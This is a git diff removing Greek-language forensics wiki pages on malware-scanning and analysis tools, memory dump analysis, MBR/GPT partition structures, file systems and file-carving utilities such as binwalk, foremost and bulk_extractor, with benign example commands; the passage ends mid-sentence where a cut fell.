Linux Malware Detect - -[**Linux Malware Detect (LMD)**](https://www.rfxn.com/projects/linux-malware-detect/) είναι ένας σαρωτής κακόβουλου λογισμικού για Linux που κυκλοφόρησε υπό την άδεια GNU GPLv2, σχεδιασμένος γύρω από τις απειλές που αντιμετωπίζονται σε κοινές φιλοξενούμενες περιβάλλοντα. Χρησιμοποιεί δεδομένα απειλών από συστήματα ανίχνευσης εισβολών στο δίκτυο για να εξάγει κακόβουλο λογισμικό που χρησιμοποιείται ενεργά σε επιθέσεις και δημιουργεί υπογραφές για ανίχνευση. Επιπλέον, τα δεδομένα απειλών προέρχονται επίσης από υποβολές χρηστών με τη δυνατότητα checkout του LMD και πόρους της κοινότητας κακόβουλου λογισμικού. - -### rkhunter - -Εργαλεία όπως το [**rkhunter**](http://rkhunter.sourceforge.net) μπορούν να χρησιμοποιηθούν για να ελέγξουν το σύστημα αρχείων για πιθανά **rootkits** και κακόβουλο λογισμικό. -```bash -sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress] -``` -### FLOSS - -[**FLOSS**](https://github.com/mandiant/flare-floss) είναι ένα εργαλείο που θα προσπαθήσει να βρει κωδικοποιημένες συμβολοσειρές μέσα σε εκτελέσιμα χρησιμοποιώντας διάφορες τεχνικές. - -### PEpper - -[PEpper ](https://github.com/Th3Hurrican3/PEpper)ελέγχει κάποια βασικά στοιχεία μέσα στο εκτελέσιμο (δυαδικά δεδομένα, εντροπία, URLs και IPs, κάποιους κανόνες yara). - -### PEstudio - -[PEstudio](https://www.winitor.com/download) είναι ένα εργαλείο που επιτρέπει την απόκτηση πληροφοριών για εκτελέσιμα Windows όπως εισαγωγές, εξαγωγές, κεφαλίδες, αλλά θα ελέγξει επίσης το virus total και θα βρει πιθανές τεχνικές Att\&ck. - -### Detect It Easy(DiE) - -[**DiE**](https://github.com/horsicq/Detect-It-Easy/) είναι ένα εργαλείο για να ανιχνεύει αν ένα αρχείο είναι **κρυπτογραφημένο** και επίσης να βρίσκει **πακετάρισμα**. - -### NeoPI - -[**NeoPI** ](https://github.com/CiscoCXSecurity/NeoPI)είναι ένα σενάριο Python που χρησιμοποιεί μια ποικιλία **στατιστικών μεθόδων** για να ανιχνεύει **κωδικοποιημένο** και **κρυπτογραφημένο** περιεχόμενο μέσα σε αρχεία κειμένου/σεναρίων. Ο προορισμός του NeoPI είναι να βοηθήσει στην **ανίχνευση κρυφού κώδικα web shell**. - -### **php-malware-finder** - -[**PHP-malware-finder**](https://github.com/nbs-system/php-malware-finder) κάνει το καλύτερο δυνατό για να ανιχνεύσει **κωδικοποιημένο**/**ύποπτο κώδικα** καθώς και αρχεία που χρησιμοποιούν **συναρτήσεις PHP** που συχνά χρησιμοποιούνται σε **malwares**/webshells. - -### Apple Binary Signatures - -Όταν ελέγχετε κάποιο **δείγμα malware** θα πρέπει πάντα να **ελέγχετε την υπογραφή** του δυαδικού, καθώς ο **προγραμματιστής** που το υπέγραψε μπορεί ήδη να είναι **σχετικός** με **malware.** -```bash -#Get signer -codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier" - -#Check if the app’s contents have been modified -codesign --verify --verbose /Applications/Safari.app - -#Check if the signature is valid -spctl --assess --verbose /Applications/Safari.app -``` -## Τεχνικές Ανίχνευσης - -### Συσσώρευση Αρχείων - -Αν γνωρίζετε ότι κάποιο φάκελο που περιέχει τα **αρχεία** ενός web server **ενημερώθηκε τελευταία σε κάποια ημερομηνία**. **Ελέγξτε** την **ημερομηνία** που δημιουργήθηκαν και τροποποιήθηκαν όλα τα **αρχεία** στον **web server** και αν κάποια ημερομηνία είναι **ύποπτη**, ελέγξτε αυτό το αρχείο. - -### Βασικές Γραμμές - -Αν τα αρχεία ενός φακέλου **δεν θα έπρεπε να έχουν τροποποιηθεί**, μπορείτε να υπολογίσετε το **hash** των **αρχικών αρχείων** του φακέλου και να **συγκρίνετε** τα με τα **τρέχοντα**. Οτιδήποτε τροποποιηθεί θα είναι **ύποπτο**. - -### Στατιστική Ανάλυση - -Όταν οι πληροφορίες αποθηκεύονται σε logs μπορείτε να **ελέγξετε στατιστικά όπως πόσες φορές κάθε αρχείο ενός web server προσπελάστηκε καθώς ένα web shell μπορεί να είναι ένα από τα πιο**. - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/memory-dump-analysis/README.md b/src/forensics/basic-forensic-methodology/memory-dump-analysis/README.md deleted file mode 100644 index 55c820678..000000000 --- a/src/forensics/basic-forensic-methodology/memory-dump-analysis/README.md +++ /dev/null @@ -1,37 +0,0 @@ -# Ανάλυση εκχύλισης μνήμης - -{{#include ../../../banners/hacktricks-training.md}} - -## Έναρξη - -Ξεκινήστε **αναζητώντας** **κακόβουλο λογισμικό** μέσα στο pcap. Χρησιμοποιήστε τα **εργαλεία** που αναφέρονται στο [**Malware Analysis**](../malware-analysis.md). - -## [Volatility](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md) - -**Το Volatility είναι το κύριο ανοιχτού κώδικα πλαίσιο για την ανάλυση εκχύλισης μνήμης**. Αυτό το εργαλείο Python αναλύει εκχυλίσεις από εξωτερικές πηγές ή VMware VMs, αναγνωρίζοντας δεδομένα όπως διαδικασίες και κωδικούς πρόσβασης με βάση το προφίλ OS της εκχύλισης. Είναι επεκτάσιμο με plugins, καθιστώντας το εξαιρετικά ευέλικτο για ποινικές έρευνες. - -**[Βρείτε εδώ ένα cheatsheet](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)** - -## Αναφορά σφάλματος mini dump - -Όταν η εκχύλιση είναι μικρή (μόλις μερικά KB, ίσως μερικά MB) τότε πιθανότατα πρόκειται για αναφορά σφάλματος mini dump και όχι για εκχύλιση μνήμης. - -![](<../../../images/image (216).png>) - -Αν έχετε εγκατεστημένο το Visual Studio, μπορείτε να ανοίξετε αυτό το αρχείο και να συνδέσετε κάποιες βασικές πληροφορίες όπως το όνομα διαδικασίας, αρχιτεκτονική, πληροφορίες εξαίρεσης και μονάδες που εκτελούνται: - -![](<../../../images/image (217).png>) - -Μπορείτε επίσης να φορτώσετε την εξαίρεση και να δείτε τις αποσυμπιεσμένες εντολές - -![](<../../../images/image (219).png>) - -![](<../../../images/image (218) (1).png>) - -Ούτως ή άλλως, το Visual Studio δεν είναι το καλύτερο εργαλείο για να εκτελέσετε μια ανάλυση βάθους της εκχύλισης. - -Πρέπει να **το ανοίξετε** χρησιμοποιώντας **IDA** ή **Radare** για να το επιθεωρήσετε σε **βάθος**. - -​ - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md deleted file mode 100644 index 5ae9d8f6e..000000000 --- a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md +++ /dev/null @@ -1,234 +0,0 @@ -# Διαμερίσματα/Συστήματα Αρχείων/Carving - -{{#include ../../../banners/hacktricks-training.md}} - -## Διαμερίσματα - -Ένας σκληρός δίσκος ή ένα **SSD μπορεί να περιέχει διαφορετικά διαμερίσματα** με στόχο τη φυσική διαχωρισμό των δεδομένων.\ -Η **ελάχιστη** μονάδα ενός δίσκου είναι ο **τομέας** (κανονικά αποτελείται από 512B). Έτσι, το μέγεθος κάθε διαμερίσματος πρέπει να είναι πολλαπλάσιο αυτού του μεγέθους. - -### MBR (master Boot Record) - -Είναι κατανεμημένο στον **πρώτο τομέα του δίσκου μετά τα 446B του κώδικα εκκίνησης**. Αυτός ο τομέας είναι ουσιώδης για να υποδείξει στον υπολογιστή τι και από πού θα πρέπει να προσαρτηθεί ένα διαμέρισμα.\ -Επιτρέπει έως **4 διαμερίσματα** (το πολύ **μόνο 1** μπορεί να είναι ενεργό/**εκκινήσιμο**). Ωστόσο, αν χρειάζεστε περισσότερα διαμερίσματα μπορείτε να χρησιμοποιήσετε **εκτεταμένα διαμερίσματα**. Ο **τελευταίος byte** αυτού του πρώτου τομέα είναι η υπογραφή του boot record **0x55AA**. Μόνο ένα διαμέρισμα μπορεί να χαρακτηριστεί ως ενεργό.\ -Το MBR επιτρέπει **μέγιστο 2.2TB**. - -![](<../../../images/image (489).png>) - -![](<../../../images/image (490).png>) - -Από τα **bytes 440 έως 443** του MBR μπορείτε να βρείτε την **Υπογραφή Δίσκου των Windows** (αν χρησιμοποιούνται Windows). Το λογικό γράμμα δίσκου του σκληρού δίσκου εξαρτάται από την Υπογραφή Δίσκου των Windows. Η αλλαγή αυτής της υπογραφής θα μπορούσε να εμποδίσει τα Windows να εκκινήσουν (εργαλείο: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**. - -![](<../../../images/image (493).png>) - -**Μορφή** - -| Offset | Length | Item | -| ----------- | ---------- | ------------------- | -| 0 (0x00) | 446(0x1BE) | Κώδικας εκκίνησης | -| 446 (0x1BE) | 16 (0x10) | Πρώτο Διαμέρισμα | -| 462 (0x1CE) | 16 (0x10) | Δεύτερο Διαμέρισμα | -| 478 (0x1DE) | 16 (0x10) | Τρίτο Διαμέρισμα | -| 494 (0x1EE) | 16 (0x10) | Τέταρτο Διαμέρισμα | -| 510 (0x1FE) | 2 (0x2) | Υπογραφή 0x55 0xAA | - -**Μορφή Καταγραφής Διαμερίσματος** - -| Offset | Length | Item | -| --------- | -------- | ------------------------------------------------------ | -| 0 (0x00) | 1 (0x01) | Σημαία ενεργοποίησης (0x80 = εκκινήσιμο) | -| 1 (0x01) | 1 (0x01) | Αρχική κεφαλή | -| 2 (0x02) | 1 (0x01) | Αρχικός τομέας (bits 0-5); ανώτερα bits του κυλίνδρου (6- 7) | -| 3 (0x03) | 1 (0x01) | Αρχικός κύλινδρος χαμηλότερα 8 bits | -| 4 (0x04) | 1 (0x01) | Κωδικός τύπου διαμερίσματος (0x83 = Linux) | -| 5 (0x05) | 1 (0x01) | Τελική κεφαλή | -| 6 (0x06) | 1 (0x01) | Τελικός τομέας (bits 0-5); ανώτερα bits του κυλίνδρου (6- 7) | -| 7 (0x07) | 1 (0x01) | Τελικός κύλινδρος χαμηλότερα 8 bits | -| 8 (0x08) | 4 (0x04) | Τομείς πριν το διαμέρισμα (little endian) | -| 12 (0x0C) | 4 (0x04) | Τομείς στο διαμέρισμα | - -Για να προσαρτήσετε ένα MBR σε Linux, πρέπει πρώτα να αποκτήσετε την αρχική μετατόπιση (μπορείτε να χρησιμοποιήσετε το `fdisk` και την εντολή `p`) - -![](<../../../images/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (12).png>) - -Και στη συνέχεια χρησιμοποιήστε τον παρακάτω κώδικα -```bash -#Mount MBR in Linux -mount -o ro,loop,offset= -#63x512 = 32256Bytes -mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/ -``` -**LBA (Λογική διεύθυνση μπλοκ)** - -**Λογική διεύθυνση μπλοκ** (**LBA**) είναι ένα κοινό σχέδιο που χρησιμοποιείται για **τον καθορισμό της τοποθεσίας μπλοκ** δεδομένων που αποθηκεύονται σε συσκευές αποθήκευσης υπολογιστών, γενικά σε δευτερεύοντα συστήματα αποθήκευσης όπως οι σκληροί δίσκοι. Το LBA είναι ένα ιδιαίτερα απλό γραμμικό σχέδιο διεύθυνσης; **τα μπλοκ εντοπίζονται με έναν ακέραιο δείκτη**, με το πρώτο μπλοκ να είναι LBA 0, το δεύτερο LBA 1, και ούτω καθεξής. - -### GPT (Πίνακας Κατανομής GUID) - -Ο Πίνακας Κατανομής GUID, γνωστός ως GPT, προτιμάται για τις βελτιωμένες δυνατότητές του σε σύγκριση με το MBR (Master Boot Record). Διακριτικός για τον **παγκοσμίως μοναδικό αναγνωριστή** για τις κατανομές, το GPT ξεχωρίζει με αρκετούς τρόπους: - -- **Τοποθεσία και Μέγεθος**: Και οι GPT και MBR ξεκινούν από **τομέα 0**. Ωστόσο, το GPT λειτουργεί σε **64bit**, σε αντίθεση με τα 32bit του MBR. -- **Όρια Κατανομής**: Το GPT υποστηρίζει έως **128 κατανομές** σε συστήματα Windows και φιλοξενεί έως **9.4ZB** δεδομένων. -- **Ονόματα Κατανομής**: Προσφέρει τη δυνατότητα ονομασίας κατανομών με έως 36 χαρακτήρες Unicode. - -**Ανθεκτικότητα Δεδομένων και Ανάκτηση**: - -- **Επικαλυπτικότητα**: Σε αντίθεση με το MBR, το GPT δεν περιορίζει την κατανομή και τα δεδομένα εκκίνησης σε μία μόνο θέση. Αντιγράφει αυτά τα δεδομένα σε όλο το δίσκο, ενισχύοντας την ακεραιότητα και την ανθεκτικότητα των δεδομένων. -- **Έλεγχος Κυκλικής Επικαλυπτικότητας (CRC)**: Το GPT χρησιμοποιεί CRC για να διασφαλίσει την ακεραιότητα των δεδομένων. Παρακολουθεί ενεργά για διαφθορά δεδομένων, και όταν ανιχνεύεται, το GPT προσπαθεί να ανακτήσει τα κατεστραμμένα δεδομένα από άλλη τοποθεσία του δίσκου. - -**Προστατευτικό MBR (LBA0)**: - -- Το GPT διατηρεί την υποστήριξη προς τα πίσω μέσω ενός προστατευτικού MBR. Αυτή η δυνατότητα βρίσκεται στον κληρονομημένο χώρο MBR αλλά έχει σχεδιαστεί για να αποτρέπει τις παλαιότερες βοηθητικές εφαρμογές που βασίζονται σε MBR από το να αντικαταστήσουν κατά λάθος τους δίσκους GPT, διασφαλίζοντας έτσι την ακεραιότητα των δεδομένων στους δίσκους που έχουν μορφοποιηθεί σε GPT. - -![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID_Partition_Table_Scheme.svg/800px-GUID_Partition_Table_Scheme.svg.png](<../../../images/image (491).png>) - -**Υβριδικό MBR (LBA 0 + GPT)** - -[Από τη Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table) - -Σε λειτουργικά συστήματα που υποστηρίζουν **εκκίνηση βασισμένη σε GPT μέσω υπηρεσιών BIOS** αντί για EFI, ο πρώτος τομέας μπορεί επίσης να χρησιμοποιηθεί για την αποθήκευση της πρώτης φάσης του κώδικα **bootloader**, αλλά **τροποποιημένος** για να αναγνωρίζει τις **κατανομές GPT**. Ο bootloader στο MBR δεν πρέπει να υποθέτει μέγεθος τομέα 512 bytes. - -**Κεφαλίδα πίνακα κατανομής (LBA 1)** - -[Από τη Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table) - -Η κεφαλίδα του πίνακα κατανομής ορίζει τα χρησιμοποιήσιμα μπλοκ στον δίσκο. Ορίζει επίσης τον αριθμό και το μέγεθος των καταχωρίσεων κατανομής που αποτελούν τον πίνακα κατανομής (offsets 80 και 84 στον πίνακα). - -| Offset | Length | Περιεχόμενα | -| --------- | -------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| 0 (0x00) | 8 bytes | Υπογραφή ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h ή 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#cite_note-8)σε μηχανές little-endian) | -| 8 (0x08) | 4 bytes | Αναθεώρηση 1.0 (00h 00h 01h 00h) για UEFI 2.8 | -| 12 (0x0C) | 4 bytes | Μέγεθος κεφαλίδας σε little endian (σε bytes, συνήθως 5Ch 00h 00h 00h ή 92 bytes) | -| 16 (0x10) | 4 bytes | [CRC32](https://en.wikipedia.org/wiki/CRC32) της κεφαλίδας (offset +0 έως μέγεθος κεφαλίδας) σε little endian, με αυτό το πεδίο μηδενισμένο κατά τη διάρκεια του υπολογισμού | -| 20 (0x14) | 4 bytes | Κρατημένο; πρέπει να είναι μηδέν | -| 24 (0x18) | 8 bytes | Τρέχον LBA (τοποθεσία αυτού του αντιγράφου κεφαλίδας) | -| 32 (0x20) | 8 bytes | Αντίγραφο LBA (τοποθεσία του άλλου αντιγράφου κεφαλίδας) | -| 40 (0x28) | 8 bytes | Πρώτο χρησιμοποιήσιμο LBA για κατανομές (τελευταίο LBA κύριου πίνακα κατανομής + 1) | -| 48 (0x30) | 8 bytes | Τελευταίο χρησιμοποιήσιμο LBA (πρώτο LBA δευτερεύοντος πίνακα κατανομής − 1) | -| 56 (0x38) | 16 bytes | GUID δίσκου σε μικτό endian | -| 72 (0x48) | 8 bytes | Αρχικό LBA ενός πίνακα καταχωρίσεων κατανομής (πάντα 2 στην κύρια αντιγραφή) | -| 80 (0x50) | 4 bytes | Αριθμός καταχωρίσεων κατανομής στον πίνακα | -| 84 (0x54) | 4 bytes | Μέγεθος μιας μόνο καταχώρισης κατανομής (συνήθως 80h ή 128) | -| 88 (0x58) | 4 bytes | CRC32 του πίνακα καταχωρίσεων κατανομής σε little endian | -| 92 (0x5C) | \* | Κρατημένο; πρέπει να είναι μηδενικά για το υπόλοιπο του μπλοκ (420 bytes για μέγεθος τομέα 512 bytes; αλλά μπορεί να είναι περισσότερα με μεγαλύτερα μεγέθη τομέα) | - -**Καταχωρίσεις κατανομής (LBA 2–33)** - -| Μορφή καταχώρισης GUID | | | -| ----------------------- | -------- | ------------------------------------------------------------------------------------------------------------- | -| Offset | Length | Περιεχόμενα | -| 0 (0x00) | 16 bytes | [GUID τύπου κατανομής](https://en.wikipedia.org/wiki/GUID_Partition_Table#Partition_type_GUIDs) (μικτό endian) | -| 16 (0x10) | 16 bytes | Μοναδικός GUID κατανομής (μικτό endian) | -| 32 (0x20) | 8 bytes | Πρώτο LBA ([little endian](https://en.wikipedia.org/wiki/Little_endian)) | -| 40 (0x28) | 8 bytes | Τελευταίο LBA (συμπεριλαμβανομένο, συνήθως περιττό) | -| 48 (0x30) | 8 bytes | Σημαίες χαρακτηριστικών (π.χ. το bit 60 δηλώνει μόνο για ανάγνωση) | -| 56 (0x38) | 72 bytes | Όνομα κατανομής (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE μονάδες κώδικα) | - -**Τύποι Κατανομών** - -![](<../../../images/image (492).png>) - -Περισσότεροι τύποι κατανομών στο [https://en.wikipedia.org/wiki/GUID_Partition_Table](https://en.wikipedia.org/wiki/GUID_Partition_Table) - -### Επιθεώρηση - -Αφού τοποθετήσετε την εικόνα εγκληματολογίας με το [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/), μπορείτε να επιθεωρήσετε τον πρώτο τομέα χρησιμοποιώντας το εργαλείο Windows [**Active Disk Editor**](https://www.disk-editor.org/index.html)**.** Στην παρακάτω εικόνα ανιχνεύθηκε ένα **MBR** στον **τομέα 0** και ερμηνεύθηκε: - -![](<../../../images/image (494).png>) - -Αν ήταν ένας **πίνακας GPT αντί για MBR** θα έπρεπε να εμφανίζεται η υπογραφή _EFI PART_ στον **τομέα 1** (ο οποίος στην προηγούμενη εικόνα είναι κενός). - -## Συστήματα Αρχείων - -### Λίστα συστημάτων αρχείων Windows - -- **FAT12/16**: MSDOS, WIN95/98/NT/200 -- **FAT32**: 95/2000/XP/2003/VISTA/7/8/10 -- **ExFAT**: 2008/2012/2016/VISTA/7/8/10 -- **NTFS**: XP/2003/2008/2012/VISTA/7/8/10 -- **ReFS**: 2012/2016 - -### FAT - -Το **FAT (Πίνακας Κατανομής Αρχείων)** σύστημα αρχείων έχει σχεδιαστεί γύρω από τον πυρήνα του, τον πίνακα κατανομής αρχείων, που βρίσκεται στην αρχή του όγκου. Αυτό το σύστημα προστατεύει τα δεδομένα διατηρώντας **δύο αντίγραφα** του πίνακα, διασφαλίζοντας την ακεραιότητα των δεδομένων ακόμη και αν το ένα είναι κατεστραμμένο. Ο πίνακας, μαζί με τον ριζικό φάκελο, πρέπει να βρίσκεται σε μια **σταθερή τοποθεσία**, κρίσιμη για τη διαδικασία εκκίνησης του συστήματος. - -Η βασική μονάδα αποθήκευσης του συστήματος αρχείων είναι ένα **cluster, συνήθως 512B**, που περιλαμβάνει πολλαπλούς τομείς. Το FAT έχει εξελιχθεί μέσω εκδόσεων: - -- **FAT12**, υποστηρίζοντας 12-bit διευθύνσεις cluster και χειρίζεται έως 4078 clusters (4084 με UNIX). -- **FAT16**, βελτιώνοντας σε 16-bit διευθύνσεις, επιτρέποντας έτσι έως 65,517 clusters. -- **FAT32**, προχωρώντας περαιτέρω με 32-bit διευθύνσεις, επιτρέποντας εντυπωσιακά 268,435,456 clusters ανά όγκο. - -Ένας σημαντικός περιορισμός σε όλες τις εκδόσεις FAT είναι το **μέγιστο μέγεθος αρχείου 4GB**, που επιβάλλεται από το 32-bit πεδίο που χρησιμοποιείται για την αποθήκευση του μεγέθους του αρχείου. - -Κύρια στοιχεία του ριζικού καταλόγου, ιδιαίτερα για FAT12 και FAT16, περιλαμβάνουν: - -- **Όνομα Αρχείου/Φακέλου** (έως 8 χαρακτήρες) -- **Χαρακτηριστικά** -- **Ημερομηνίες Δημιουργίας, Τροποποίησης και Τελευταίας Πρόσβασης** -- **Διεύθυνση Πίνακα FAT** (που υποδεικνύει το αρχικό cluster του αρχείου) -- **Μέγεθος Αρχείου** - -### EXT - -**Ext2** είναι το πιο κοινό σύστημα αρχείων για **μη καταγραφόμενες** κατανομές (**κατανομές που δεν αλλάζουν πολύ**) όπως η κατανομή εκκίνησης. **Ext3/4** είναι **καταγραφόμενες** και χρησιμοποιούνται συνήθως για τις **υπόλοιπες κατανομές**. - -## **Μεταδεδομένα** - -Ορισμένα αρχεία περιέχουν μεταδεδομένα. Αυτές οι πληροφορίες αφορούν το περιεχόμενο του αρχείου που μερικές φορές μπορεί να είναι ενδιαφέρον για έναν αναλυτή, καθώς ανάλογα με τον τύπο του αρχείου, μπορεί να έχει πληροφορίες όπως: - -- Τίτλος -- Έκδοση MS Office που χρησιμοποιήθηκε -- Συγγραφέας -- Ημερομηνίες δημιουργίας και τελευταίας τροποποίησης -- Μοντέλο της κάμερας -- Συντεταγμένες GPS -- Πληροφορίες εικόνας - -Μπορείτε να χρησιμοποιήσετε εργαλεία όπως το [**exiftool**](https://exiftool.org) και το [**Metadiver**](https://www.easymetadata.com/metadiver-2/) για να αποκτήσετε τα μεταδεδομένα ενός αρχείου. - -## **Ανάκτηση Διαγραμμένων Αρχείων** - -### Καταγεγραμμένα Διαγραμμένα Αρχεία - -Όπως έχει παρατηρηθεί προηγουμένως, υπάρχουν πολλές θέσεις όπου το αρχείο είναι ακόμα αποθηκευμένο μετά την "διαγραφή" του. Αυτό συμβαίνει επειδή συνήθως η διαγραφή ενός αρχείου από ένα σύστημα αρχείων απλώς το σημειώνει ως διαγραμμένο αλλά τα δεδομένα δεν αγγίζονται. Έτσι, είναι δυνατόν να επιθεωρήσετε τα μητρώα των αρχείων (όπως το MFT) και να βρείτε τα διαγραμμένα αρχεία. - -Επίσης, το λειτουργικό σύστημα συνήθως αποθηκεύει πολλές πληροφορίες σχετικά με τις αλλαγές του συστήματος αρχείων και τα αντίγραφα ασφαλείας, οπότε είναι δυνατόν να προσπαθήσετε να τα χρησιμοποιήσετε για να ανακτήσετε το αρχείο ή όσο το δυνατόν περισσότερες πληροφορίες. - -{{#ref}} -file-data-carving-recovery-tools.md -{{#endref}} - -### **File Carving** - -**File carving** είναι μια τεχνική που προσπαθεί να **βρει αρχεία στη μάζα δεδομένων**. Υπάρχουν 3 κύριοι τρόποι με τους οποίους λειτουργούν εργαλεία όπως αυτό: **Βασισμένα σε κεφαλίδες και ουρές τύπων αρχείων**, βασισμένα σε **δομές** τύπων αρχείων και βασισμένα στο **περιεχόμενο** αυτό καθαυτό. - -Σημειώστε ότι αυτή η τεχνική **δεν λειτουργεί για την ανάκτηση κατακερματισμένων αρχείων**. Αν ένα αρχείο **δεν αποθηκεύεται σε συνεχείς τομείς**, τότε αυτή η τεχνική δεν θα είναι σε θέση να το βρει ή τουλάχιστον μέρος του. - -Υπάρχουν αρκετά εργαλεία που μπορείτε να χρησιμοποιήσετε για το file carving υποδεικνύοντας τους τύπους αρχείων που θέλετε να αναζητήσετε. - -{{#ref}} -file-data-carving-recovery-tools.md -{{#endref}} - -### Data Stream **C**arving - -Data Stream Carving είναι παρόμοιο με το File Carving αλλά **αντί να αναζητά πλήρη αρχεία, αναζητά ενδιαφέροντα θραύσματα** πληροφοριών.\ -Για παράδειγμα, αντί να αναζητά ένα πλήρες αρχείο που περιέχει καταγεγραμμένα URLs, αυτή η τεχνική θα αναζητήσει URLs. - -{{#ref}} -file-data-carving-recovery-tools.md -{{#endref}} - -### Ασφαλής Διαγραφή - -Προφανώς, υπάρχουν τρόποι για να **"διαγράψετε με ασφάλεια" αρχεία και μέρη των καταγραφών τους**. Για παράδειγμα, είναι δυνατόν να **επικαλύψετε το περιεχόμενο** ενός αρχείου με άχρηστα δεδομένα πολλές φορές, και στη συνέχεια να **αφαιρέσετε** τις **καταγραφές** από το **$MFT** και το **$LOGFILE** σχετικά με το αρχείο, και **να αφαιρέσετε τα Volume Shadow Copies**.\ -Μπορείτε να παρατηρήσετε ότι ακόμη και εκτελώντας αυτή την ενέργεια μπορεί να υπάρχουν **άλλες περιοχές όπου η ύπαρξη του αρχείου είναι ακόμα καταγεγραμμένη**, και αυτό είναι αληθές και μέρος της δουλειάς του επαγγελματία εγκληματολογίας είναι να τις βρει. - -## Αναφορές - -- [https://en.wikipedia.org/wiki/GUID_Partition_Table](https://en.wikipedia.org/wiki/GUID_Partition_Table) -- [http://ntfs.com/ntfs-permissions.htm](http://ntfs.com/ntfs-permissions.htm) -- [https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html](https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html) -- [https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service](https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service) -- **iHackLabs Certified Digital Forensics Windows** - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md deleted file mode 100644 index 7c4dd2fc8..000000000 --- a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md +++ /dev/null @@ -1,87 +0,0 @@ -# File/Data Carving & Recovery Tools - -{{#include ../../../banners/hacktricks-training.md}} - -## Carving & Recovery tools - -More tools in [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery) - -### Autopsy - -Το πιο κοινό εργαλείο που χρησιμοποιείται στην ψηφιακή εγκληματολογία για την εξαγωγή αρχείων από εικόνες είναι το [**Autopsy**](https://www.autopsy.com/download/). Κατεβάστε το, εγκαταστήστε το και κάντε το να επεξεργαστεί το αρχείο για να βρείτε "κρυφά" αρχεία. Σημειώστε ότι το Autopsy έχει σχεδιαστεί για να υποστηρίζει δισκοειδείς εικόνες και άλλους τύπους εικόνων, αλλά όχι απλά αρχεία. - -### Binwalk - -**Binwalk** είναι ένα εργαλείο για την ανάλυση δυαδικών αρχείων για να βρείτε ενσωματωμένο περιεχόμενο. Είναι εγκαταστάσιμο μέσω `apt` και η πηγή του είναι στο [GitHub](https://github.com/ReFirmLabs/binwalk). - -**Useful commands**: -```bash -sudo apt install binwalk #Insllation -binwalk file #Displays the embedded data in the given file -binwalk -e file #Displays and extracts some files from the given file -binwalk --dd ".*" file #Displays and extracts all files from the given file -``` -### Foremost - -Ένα άλλο κοινό εργαλείο για να βρείτε κρυφά αρχεία είναι το **foremost**. Μπορείτε να βρείτε το αρχείο ρύθμισης του foremost στο `/etc/foremost.conf`. Αν θέλετε να αναζητήσετε συγκεκριμένα αρχεία, αποσχολιάστε τα. Αν δεν αποσχολιάσετε τίποτα, το foremost θα αναζητήσει τους προεπιλεγμένους τύπους αρχείων που είναι ρυθμισμένοι. -```bash -sudo apt-get install foremost -foremost -v -i file.img -o output -#Discovered files will appear inside the folder "output" -``` -### **Scalpel** - -**Scalpel** είναι ένα άλλο εργαλείο που μπορεί να χρησιμοποιηθεί για να βρει και να εξάγει **αρχεία που είναι ενσωματωμένα σε ένα αρχείο**. Σε αυτή την περίπτωση, θα χρειαστεί να αφαιρέσετε το σχόλιο από το αρχείο ρυθμίσεων (_/etc/scalpel/scalpel.conf_) τους τύπους αρχείων που θέλετε να εξάγει. -```bash -sudo apt-get install scalpel -scalpel file.img -o output -``` -### Bulk Extractor - -Αυτό το εργαλείο έρχεται μέσα στο kali αλλά μπορείτε να το βρείτε εδώ: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor) - -Αυτό το εργαλείο μπορεί να σαρώσει μια εικόνα και θα **εξάγει pcaps** μέσα σε αυτή, **πληροφορίες δικτύου (URLs, domains, IPs, MACs, mails)** και περισσότερα **αρχεία**. Πρέπει απλώς να κάνετε: -``` -bulk_extractor memory.img -o out_folder -``` -Πλοηγηθείτε μέσα από **όλες τις πληροφορίες** που έχει συγκεντρώσει το εργαλείο (κωδικοί πρόσβασης;), **αναλύστε** τα **πακέτα** (διαβάστε [**Ανάλυση Pcaps**](../pcap-inspection/index.html)), αναζητήστε **παράξενους τομείς** (τομείς σχετικούς με **κακόβουλο λογισμικό** ή **μη υπάρχοντες**). - -### PhotoRec - -Μπορείτε να το βρείτε στο [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download) - -Έρχεται με εκδόσεις GUI και CLI. Μπορείτε να επιλέξετε τους **τύπους αρχείων** που θέλετε να αναζητήσει το PhotoRec. - -![](<../../../images/image (524).png>) - -### binvis - -Ελέγξτε τον 